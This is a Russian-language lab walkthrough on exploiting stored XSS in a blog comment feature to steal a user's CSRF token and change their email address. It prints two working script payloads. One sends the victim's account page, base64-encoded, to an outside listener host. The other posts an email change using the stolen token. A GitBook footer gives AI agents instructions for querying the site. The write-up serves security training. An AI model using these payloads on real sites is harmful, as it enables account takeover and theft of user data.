> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS для обхода CSRF-защиты

### Эксплуатация XSS для обхода CSRF-защиты

В этом лабе есть уязвимость XSS, сохранённая в функции комментариев блога. Цель — использовать эту уязвимость, чтобы украсть CSRF-токен у пользователя, который просматривает комментарии, а затем использовать его для изменения адреса электронной почты этой учётной записи. Вы можете подключиться, используя следующие учётные данные: `wiener:peter`.

* На странице есть поле для обновления адреса электронной почты.

<figure><img src="/files/fe776fd9ec8dff7da6ee1f8c5a7530d344d4ce69" alt=""><figcaption></figcaption></figure>

* На странице есть поле для обновления адреса электронной почты.
* При перехвате запроса на обновление наблюдаются параметры (пример):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="/files/0fbea6f4ee67fa9fa0ebc0eddeb8e2cd57639cb7" alt=""><figcaption></figcaption></figure>

Стратегия:

<figure><img src="/files/0559a1481503f7da3fcff8e0454ec2afae6d2df8" alt=""><figcaption></figcaption></figure>

1. Опубликовать комментарий, содержащий скрипт, который, когда страница будет просмотрена жертвой, извлечёт HTML со страницы аккаунта (`/my-account`) с помощью синхронного или асинхронного запроса.
2. Экcфильтровать этот HTML на контролируемый сервер прослушивания (при желании закодировав его в base64).
3. Получить на стороне атакующего CSRF-токен и, с помощью второго скрипта, выполняемого в контексте жертвы, выполнить POST-запрос к `/my-account/change-email` передав как новый адрес, так и полученный CSRF-токен — запрос будет использовать сессионную cookie жертвы, пока скрипт выполняется в её браузере.

Экcфильтрация исходного кода страницы аккаунта на сервер прослушивания (закодированного в Base64):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="/files/8889c64771dc8be186899ea57e71dcc07e2fdd70" alt=""><figcaption></figcaption></figure>

Наблюдаемый результат:

* На нашей инфраструктуре прослушиваются два запроса, содержащие HTML, закодированный в base64.

<figure><img src="/files/309e5034dc3102121043f7f8cea907334bb940e6" alt=""><figcaption></figcaption></figure>

* После декодирования HTML содержит информацию об аккаунте: имя пользователя `administrator`, текущий адрес электронной почты и CSRF-токен в `ввод` поле (например, `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` в приведённом примере).

<figure><img src="/files/a2ff59a6ea19762589bb26352a145edc21e08110" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>Ваше имя пользователя: administrator</p>
    <p>Ваш адрес электронной почты: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>Адрес электронной почты</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> Обновить адрес электронной почты </button>
        </form>
</div>
```

Получение CSRF-токена из HTML и отправка изменения адреса электронной почты (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
